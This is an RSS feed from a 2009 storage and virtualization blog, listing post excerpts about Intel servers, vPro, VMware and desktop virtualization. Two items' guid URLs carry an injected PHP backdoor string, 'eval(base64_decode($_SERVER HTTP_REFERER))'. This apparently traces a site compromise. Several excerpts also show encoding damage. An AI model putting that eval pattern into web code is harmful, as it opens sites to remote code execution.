<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Storage Informer &#187; Desktop</title>
	<atom:link href="http://storageinformer.com/tag/desktop/feed/" rel="self" type="application/rss+xml" />
	<link>http://storageinformer.com</link>
	<description>The Latest in Storage News</description>
	<lastBuildDate>Mon, 20 Sep 2010 16:59:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>How does a Real Server improve your life?</title>
		<link>http://storageinformer.com/how-does-a-real-server-improve-your-life/</link>
		<comments>http://storageinformer.com/how-does-a-real-server-improve-your-life/#comments</comments>
		<pubDate>Mon, 19 Oct 2009 09:22:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[Chips]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[DR]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[influence]]></category>
		<category><![CDATA[Intel]]></category>
		<category><![CDATA[Server]]></category>

		<guid isPermaLink="false">http://storageinformer.com/?p=4813</guid>
		<description><![CDATA[How does a Real Server improve your life? I¡¦d like to introduce myself as a product line manager at Intel who has spent almost a decade ensuring we are creating the best servers to solve small business challenges. Part of my role is to influence future generation products and I¡¦d like to learn more about [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/how-does-a-real-server-improve-your-life/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>This is your SOL on Steroids</title>
		<link>http://storageinformer.com/this-is-your-sol-on-steroids/</link>
		<comments>http://storageinformer.com/this-is-your-sol-on-steroids/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 14:13:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[DR]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Intel]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[PC]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Sec]]></category>
		<category><![CDATA[Secure]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://storageinformer.com/?p=4809</guid>
		<description><![CDATA[Intel KVM: This is your SOL on Steroids Intel AMT lets you connect to your managed computer remotely. SOL lets you connect to its COM port and control selected input/output. Nothing new there, right? In the last IDF, Intel pulled back the curtain on a revolutionary feature: Intel KVM. KVM stands for &#34;Keyboard, Video and [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/this-is-your-sol-on-steroids/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blog action day &#8211; the new opportunity for Intel in addressing climate change</title>
		<link>http://storageinformer.com/blog-action-day-the-new-opportunity-for-intel-in-addressing-climate-change/</link>
		<comments>http://storageinformer.com/blog-action-day-the-new-opportunity-for-intel-in-addressing-climate-change/#comments</comments>
		<pubDate>Thu, 15 Oct 2009 12:19:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[Architecture]]></category>
		<category><![CDATA[CTO]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[DR]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Green]]></category>
		<category><![CDATA[HP]]></category>
		<category><![CDATA[Intel]]></category>
		<category><![CDATA[Power]]></category>
		<category><![CDATA[Report]]></category>
		<category><![CDATA[Sec]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[Source]]></category>

		<guid isPermaLink="false">http://storageinformer.com/?p=4791</guid>
		<description><![CDATA[Blog action day &#8211; the new opportunity for Intel in addressing climate change Addressing climate change is not something new for us. But how we are now looking at the issue is. As a company, Intel has taken steps to measure and reduce the carbon footprint of our operations for many years now. We&#8217;ve been [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/blog-action-day-the-new-opportunity-for-intel-in-addressing-climate-change/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Open Source for the Cloud</title>
		<link>http://storageinformer.com/open-source-for-the-cloud/</link>
		<comments>http://storageinformer.com/open-source-for-the-cloud/#comments</comments>
		<pubDate>Mon, 12 Oct 2009 09:10:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[Amazon]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[Cloud Computing]]></category>
		<category><![CDATA[CTO]]></category>
		<category><![CDATA[Data]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[DR]]></category>
		<category><![CDATA[Enterprise]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[IBM]]></category>
		<category><![CDATA[Intel]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Power]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Source]]></category>
		<category><![CDATA[Talent]]></category>
		<category><![CDATA[Trends]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Yahoo]]></category>

		<guid isPermaLink="false">http://storageinformer.com/?p=4764</guid>
		<description><![CDATA[Hadoop and Cloudera: Open Source for the Cloud With the recent Hadoop World event hosted by Cloudera on October 2, 2009, Cloudera and Hadoop have been getting quite a bit of attention from the media, and the visibility for open source software in the cloud has increased along with them. I didn&#38;apost attend the Hadoop [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/open-source-for-the-cloud/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Retorno de Investimento</title>
		<link>http://storageinformer.com/retorno-de-investimento/</link>
		<comments>http://storageinformer.com/retorno-de-investimento/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 04:32:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[CTO]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[HP]]></category>
		<category><![CDATA[Intel]]></category>
		<category><![CDATA[ToS]]></category>

		<guid isPermaLink="false">http://storageinformer.com/?p=4732</guid>
		<description><![CDATA[Retorno de Investimento Na Ãºltima sexta-feira estive em um evento na UNESP onde foi oficialmente lanÃ§ado o GRIP Unesp com sete clusters sendo interligados em uma rede de pesquisa. Excelente ver universidades ampliando a capacidade de pesquisa e a dedicaÃ§Ã£o de professores e autoridades para tornar isso realidade. ParabÃ©ns em especial ao Professor Sergio Novaes [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/retorno-de-investimento/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Super Meat Boy, a game of Tech, Saws, and Awesome</title>
		<link>http://storageinformer.com/super-meat-boy-a-game-of-tech-saws-and-awesome/</link>
		<comments>http://storageinformer.com/super-meat-boy-a-game-of-tech-saws-and-awesome/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 09:40:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[Audio]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[DR]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Intel]]></category>
		<category><![CDATA[LoA]]></category>
		<category><![CDATA[PC]]></category>
		<category><![CDATA[Power]]></category>
		<category><![CDATA[Sec]]></category>

		<guid isPermaLink="false">http://storageinformer.com/?p=4714</guid>
		<description><![CDATA[Super Meat Boy, a game of Tech, Saws, and Awesome Hello again, It&#38;aposs been a while since I last posted (I believe its been about 8 months), but I&#38;aposve been incredibly busy. I&#38;aposve been recently working on a game, due out on WiiWare and PC something in Q1 2010, called Super Meat Boy. For those [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/super-meat-boy-a-game-of-tech-saws-and-awesome/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VMWorld and IDF &#8211; Virtualization&#8217;s September Spotlight</title>
		<link>http://storageinformer.com/vmworld-and-idf-virtualizations-september-spotlight/</link>
		<comments>http://storageinformer.com/vmworld-and-idf-virtualizations-september-spotlight/#comments</comments>
		<pubDate>Fri, 04 Sep 2009 08:24:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[Architecture]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[Center]]></category>
		<category><![CDATA[Cisco]]></category>
		<category><![CDATA[CTO]]></category>
		<category><![CDATA[Data]]></category>
		<category><![CDATA[DB]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[HP]]></category>
		<category><![CDATA[Intel]]></category>
		<category><![CDATA[SAN]]></category>
		<category><![CDATA[Talent]]></category>
		<category><![CDATA[Virtual]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[VMware]]></category>

		<guid isPermaLink="false">http://storageinformer.com/2009/09/04/vmworld-and-idf-virtualizations-september-spotlight/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</guid>
		<description><![CDATA[VMWorld and IDF &#8211; Virtualization&#8217;s September Spotlight http://www.youtube.com/watch?v=HHpnLgikukg Â Â Â Â Â Â Â Â Â Â  Each of the last 3 years, Rich Uhlig, myself and the rest of our colleagues at Intel focused on virtualization technologies, have had the enviable task of participating in two of the technology industry&#38;aposs biggest events. It is always a pleasure to stretch one abilities, work [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/vmworld-and-idf-virtualizations-september-spotlight/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PAX 2009 &#8211; Here we come!</title>
		<link>http://storageinformer.com/pax-2009-here-we-come/</link>
		<comments>http://storageinformer.com/pax-2009-here-we-come/#comments</comments>
		<pubDate>Wed, 02 Sep 2009 22:07:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[HP]]></category>
		<category><![CDATA[Intel]]></category>
		<category><![CDATA[Power]]></category>
		<category><![CDATA[SAN]]></category>

		<guid isPermaLink="false">http://storageinformer.com/2009/09/02/pax-2009-here-we-come/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</guid>
		<description><![CDATA[PAX 2009 &#8211; Here we come! The Penny Arcade Expo kicks off on Friday, and we couldn&#8217;t be more excited. The show is expecting a sold-out crowd of 60,000+, and if the crowds at QuakeCon and BlizzCon are any example, there are sure to be thousands of passionate and impressive gamers in the midst. In [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/pax-2009-here-we-come/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VMworld 2009 â€“ Day 2, keynote by Steve Herrod</title>
		<link>http://storageinformer.com/vmworld-2009-%e2%80%93-day-2-keynote-by-steve-herrod/</link>
		<comments>http://storageinformer.com/vmworld-2009-%e2%80%93-day-2-keynote-by-steve-herrod/#comments</comments>
		<pubDate>Wed, 02 Sep 2009 14:46:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Budget]]></category>
		<category><![CDATA[Center]]></category>
		<category><![CDATA[Cisco]]></category>
		<category><![CDATA[CTO]]></category>
		<category><![CDATA[Data]]></category>
		<category><![CDATA[Datacenter]]></category>
		<category><![CDATA[Deal]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[DR]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Freedom]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Green]]></category>
		<category><![CDATA[HP]]></category>
		<category><![CDATA[Intel]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[LoA]]></category>
		<category><![CDATA[Nehalem]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[PC]]></category>
		<category><![CDATA[Power]]></category>
		<category><![CDATA[Sec]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Source]]></category>
		<category><![CDATA[SSD]]></category>
		<category><![CDATA[Strategy]]></category>
		<category><![CDATA[Virtual]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[VMware]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[VMworld 2009 ¡V Day 2, keynote by Steve Herrod &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- Welcome to the liveblogging of the VMworld 2009 keynote, day 2. Today&#8217;s keynote is expected to bring us a bit more technical content than yesterday. The main speaker is Dr. Stephen Herrod, VMware CTO and one of the original developers of SimOS while at [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/vmworld-2009-%e2%80%93-day-2-keynote-by-steve-herrod/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Big VDI With VMware / Cisco / EMC</title>
		<link>http://storageinformer.com/big-vdi-with-vmware-cisco-emc/</link>
		<comments>http://storageinformer.com/big-vdi-with-vmware-cisco-emc/#comments</comments>
		<pubDate>Fri, 14 Aug 2009 03:26:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[Cisco]]></category>
		<category><![CDATA[Deal]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[EMC]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Power]]></category>
		<category><![CDATA[Virtual]]></category>
		<category><![CDATA[VMware]]></category>

		<guid isPermaLink="false">http://storageinformer.com/big-vdi-with-vmware-cisco-emc/</guid>
		<description><![CDATA[Big VDI With VMware / Cisco / EMC Came across this gem the other day, and wanted to share.&#160; Ideally, this would be over at Chad&#8217;s blog, but I guess he&#8217;s been swamped with prep for VMworld. In a nutshell, it&#8217;s a beefy whitepaper showing Cisco&#8217;s UCS doing virtual desktop consolidation in an entirely new [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/big-vdi-with-vmware-cisco-emc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VMwareâ€™s Q2 2009</title>
		<link>http://storageinformer.com/vmware%e2%80%99s-q2-2009/</link>
		<comments>http://storageinformer.com/vmware%e2%80%99s-q2-2009/#comments</comments>
		<pubDate>Thu, 23 Jul 2009 21:52:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[Center]]></category>
		<category><![CDATA[Cloud Computing]]></category>
		<category><![CDATA[Data]]></category>
		<category><![CDATA[Database]]></category>
		<category><![CDATA[Datacenter]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[DR]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[HP]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Power]]></category>
		<category><![CDATA[SAN]]></category>
		<category><![CDATA[Sec]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[ThinApp]]></category>
		<category><![CDATA[Virtual]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[VMware]]></category>

		<guid isPermaLink="false">http://storageinformer.com/vmware%e2%80%99s-q2-2009/</guid>
		<description><![CDATA[Earnings: VMware¡¦s Q2 2009 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; VMware today announced financial results for the second quarter 2009 (emphasis ours): Revenues for the second quarter were $456 million, flat from the second quarter of 2008. Non-GAAP operating income for the second quarter was $96 million, a decrease of 14% from the second quarter of 2008. GAAP operating [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/vmware%e2%80%99s-q2-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Devon IT Thin Client Models Now VMware View 3.1 Certified</title>
		<link>http://storageinformer.com/devon-it-thin-client-models-now-vmware-view-3-1-certified/</link>
		<comments>http://storageinformer.com/devon-it-thin-client-models-now-vmware-view-3-1-certified/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 00:22:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Testing]]></category>
		<category><![CDATA[Virtual]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[VMware]]></category>

		<guid isPermaLink="false">http://storageinformer.com/devon-it-thin-client-models-now-vmware-view-3-1-certified/</guid>
		<description><![CDATA[Devon IT Thin Client Models Now VMware View 3.1 Certified &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; Devon IT has announced that its TC2, TC5, and SafeBook LVO thin client models are VMware View 3.1 Desktop Virtualization (VDI) certified. This designation indicates the models have completed the VMware Hardware Certification Program testing criteria for use with VMware View 3.1 and [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/devon-it-thin-client-models-now-vmware-view-3-1-certified/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TriActive joins the running of ISV&#8217;s with vPro</title>
		<link>http://storageinformer.com/triactive-joins-the-running-of-isvs-with-vpro/</link>
		<comments>http://storageinformer.com/triactive-joins-the-running-of-isvs-with-vpro/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 14:49:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[CTO]]></category>
		<category><![CDATA[DB]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[HP]]></category>
		<category><![CDATA[Intel]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Power]]></category>
		<category><![CDATA[Sec]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://storageinformer.com/triactive-joins-the-running-of-isvs-with-vpro/</guid>
		<description><![CDATA[New Kids on the Block: TriActive joins the running of ISV&#8217;s with vPro TriActive, Inc., founded in 1997, has recently added AMT (vPro) capabilities to their software. This product is called Systems Management On Demand and you can read more about it here. In their own words, &#34;TriActive was a pioneer of delivering Systems Management [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/triactive-joins-the-running-of-isvs-with-vpro/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Is the current economy good for open source software?</title>
		<link>http://storageinformer.com/is-the-current-economy-good-for-open-source-software/</link>
		<comments>http://storageinformer.com/is-the-current-economy-good-for-open-source-software/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 10:08:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[Budget]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[Cloud Computing]]></category>
		<category><![CDATA[Data]]></category>
		<category><![CDATA[DB]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[DR]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[Enterprise]]></category>
		<category><![CDATA[EVA]]></category>
		<category><![CDATA[Forrester]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[IBM]]></category>
		<category><![CDATA[Intel]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Planning]]></category>
		<category><![CDATA[SAN]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Source]]></category>
		<category><![CDATA[Trends]]></category>
		<category><![CDATA[Virtual]]></category>
		<category><![CDATA[Virtualization]]></category>

		<guid isPermaLink="false">http://storageinformer.com/is-the-current-economy-good-for-open-source-software/</guid>
		<description><![CDATA[Is the current economy good for open source software? With the economy in a downward spiral, many companies and individuals are changing how they spend money as budgets tighten. I&#38;aposve been an open source software fan since college in the early to mid 1990s. For me, there are many benefits of using open source. Cost [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/is-the-current-economy-good-for-open-source-software/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8220;Youâ€™ll never forget your first&#8221;</title>
		<link>http://storageinformer.com/you%e2%80%99ll-never-forget-your-first/</link>
		<comments>http://storageinformer.com/you%e2%80%99ll-never-forget-your-first/#comments</comments>
		<pubDate>Tue, 14 Jul 2009 10:51:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[Data]]></category>
		<category><![CDATA[DB]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[DR]]></category>
		<category><![CDATA[DRAM]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Intel]]></category>
		<category><![CDATA[Server]]></category>

		<guid isPermaLink="false">http://storageinformer.com/you%e2%80%99ll-never-forget-your-first/</guid>
		<description><![CDATA[&#8220;Youâ€™ll never forget your first&#8221; Â Â Â Â  Your first server, that is. Thereâ€™s nothing like a real server to help your business become more competitive. While some small businesses can get away with using a desktop as a server, thereâ€™s really no substitute for the real thing. With the ability to more efficiently handle more users, [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/you%e2%80%99ll-never-forget-your-first/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pano Logic Releases Pano System 2.7</title>
		<link>http://storageinformer.com/pano-logic-releases-pano-system-27/</link>
		<comments>http://storageinformer.com/pano-logic-releases-pano-system-27/#comments</comments>
		<pubDate>Mon, 13 Jul 2009 13:48:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[Architecture]]></category>
		<category><![CDATA[Center]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[DB]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[DR]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Virtual]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[VMware]]></category>

		<guid isPermaLink="false">http://storageinformer.com/pano-logic-releases-pano-system-27/</guid>
		<description><![CDATA[Pano Logic Releases Pano System 2.7 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; Pano Logic, today announced the newest version of their desktop virtualization solution, Pano System 2.7. The new release provides IT administrators with new policy-based installation and remote management capabilities, as well as increased scalability, making deploying and managing virtual desktops much easier.Â  This release also adds support [...]]]></description>
		<wfw:commentRss>http://storageinformer.com/pano-logic-releases-pano-system-27/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Propalms Plots A New Virtual Desktop Solution</title>
		<link>http://storageinformer.com/propalms-plots-a-new-virtual-desktop-solution/</link>
		<comments>http://storageinformer.com/propalms-plots-a-new-virtual-desktop-solution/#comments</comments>
		<pubDate>Mon, 13 Jul 2009 13:44:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Storage]]></category>
		<category><![CDATA[Center]]></category>
		<category><![CDATA[DB]]></category>
		<category><![CDATA[Deal]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Virtual]]></category>
		<category><![CDATA[Virtualization]]></category>

		<guid isPermaLink="false">http://storageinformer.com/propalms-plots-a-new-virtual-desktop-solution/</guid>
